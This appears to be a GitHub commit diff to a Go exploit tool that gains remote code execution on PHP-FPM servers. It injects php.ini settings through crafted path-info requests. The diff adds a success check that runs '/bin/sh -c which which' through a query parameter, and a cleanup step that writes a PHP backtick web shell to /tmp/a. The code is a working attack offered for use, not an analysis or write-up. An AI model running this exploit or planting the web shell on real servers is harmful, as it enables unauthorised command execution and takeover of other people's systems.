Skip to content

Commit

Permalink
add success detection to the exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
neex committed Sep 25, 2019
1 parent 777b6f0 commit 2066f6d
Show file tree
Hide file tree
Showing 3 changed files with 52 additions and 16 deletions.
38 changes: 34 additions & 4 deletions attack.go
@@ -1,6 +1,10 @@
package main

import "log"
import (
"bytes"
"log"
"net/url"
)

var chain = []string{
"short_open_tag=1",
Expand All @@ -10,19 +14,45 @@ var chain = []string{
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?`\"",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}

const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
)

func Attack(requester *Requester, params *AttackParams) error {
log.Printf("Performing attack using php.ini settings...")

attackLoop:
for {
for _, payload := range chain {
if err := SetSetting(requester, params, payload, 1); err != nil {
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
break attackLoop
}
}

}

log.Printf("Trying to cleanup /tmp/a...")
cleanup := url.Values{"a": []string{cleanupCommand}}
for {
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Print("Done!")
break
}
// TODO: detect if we have RCE and break the loop
}
return nil
}
Expand Down
20 changes: 11 additions & 9 deletions phpini.go
Expand Up @@ -3,6 +3,7 @@ package main
import (
"fmt"
"log"
"net/http"
"strings"
)

Expand All @@ -15,18 +16,19 @@ func MakePathInfo(phpValue string) (string, error) {
}

func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error {
payload, err := MakePathInfo(setting)
if err != nil {
return err
}
if tries > 1 {
log.Printf("Trying to set %#v...", setting)
}
log.Printf("Trying to set %#v...", setting)
for i := 0; i < tries; i++ {
_, _, err := requester.Request(payload, params)
if err != nil {
if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil {
return fmt.Errorf("error while setting %#v: %v", setting, err)
}
}
return nil
}

func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := MakePathInfo(setting)
if err != nil {
return nil, nil, err
}
return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix)
}
10 changes: 7 additions & 3 deletions requester.go
Expand Up @@ -43,6 +43,10 @@ func NewRequester(resource, cookie string) (*Requester, error) {
}

func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
}

func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
if !strings.HasPrefix(pathInfo, "/") {
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
}
Expand All @@ -52,11 +56,11 @@ func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Respon
if qslDelta%2 != 0 {
panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
}
qslPrime := params.QueryStringLength - qslDelta/2
qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
if qslPrime < 0 {
panic(fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v", params.QueryStringLength, qslDelta))
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = strings.Repeat("Q", qslPrime)
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
req, err := http.NewRequest("GET", u.String(), nil)
if err != nil {
return nil, nil, err
Expand Down

0 comments on commit 2066f6d

Please sign in to comment.